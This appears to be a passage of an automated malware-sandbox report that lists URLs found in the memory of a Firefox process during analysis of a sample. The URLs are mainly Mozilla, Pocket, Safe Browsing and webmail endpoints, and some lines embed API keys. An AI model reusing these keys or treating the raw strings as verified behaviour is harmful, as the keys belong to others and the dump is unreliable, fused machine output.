Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001B.00000002.3308221546.000001D16A0B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405392878.00002F9276704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314889990.000001D16B647000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.3314889990.000001D16B647000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.cominternal-look-and-feel-changed
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001B.00000003.3228042025.000001D1761C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001B.00000002.3314090005.000001D16B303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163697186.000001D16DD3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsUrgent
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001B.00000002.3394413519.000001D176305000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.3314889990.000001D16B6DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E63F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 0000001B.00000002.3322971966.000001D16DFDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E6D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%The
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E98D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.3403729556.000016A857AB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3376789596.000001D1717C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.3376789596.000001D1717C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.3314090005.000001D16B320000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3308221546.000001D16A0BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sFailed
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sPdfJs.init
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3292161020.000001D15DED7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001B.00000002.3308221546.000001D16A0B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001B.00000002.3403394456.000009DCFF304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sbrowser.download.viewableInternally.enabledTy
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sblocklisted:FEATURE_FAILURE_PARSE_DRIVERpdfjs.previousHandler
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comvalidateProfilerWebChannelUrl
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redux.js.org/api-reference/store#subscribe(listener)
Source: firefox.exe, 0000001B.00000002.3321837233.000001D16DC23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2&
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000001B.00000002.3358978481.000001D16F948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000001B.00000002.3321837233.000001D16DC20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3309373504.000001D16A1A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSy
Source: firefox.exe, 0000001B.00000002.3314889990.000001D16B6CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3322971966.000001D16DF78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/pictureinpicture
Source: firefox.exe, 0000001B.00000002.3358978481.000001D16F966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3325983805.000001D16E5E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.3358978481.000001D16F948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2https:
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001B.00000002.3358978481.000001D16F948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2https://
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001B.00000002.3325983805.000001D16E5C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3233212247.000001D175D9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3292161020.000001D15DED7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3263332602.000001D16F986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3263332602.000001D16F986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001B.00000002.3314889990.000001D16B6CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/SafeBrowsing
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3335121581.000001D16EB7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001B.00000002.3367376617.000001D17078B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3354990813.000001D16F63C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321837233.000001D16DC34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3358978481.000001D16F948000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001B.00000002.3372809682.000001D170CA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001B.00000003.3244606377.000001D1707BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3367376617.000001D1707BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: 51d383286f.exe, 0000000A.00000003.3204326424.0000000005AF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F58C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001B.00000002.3391699036.000001D17618E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A125000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
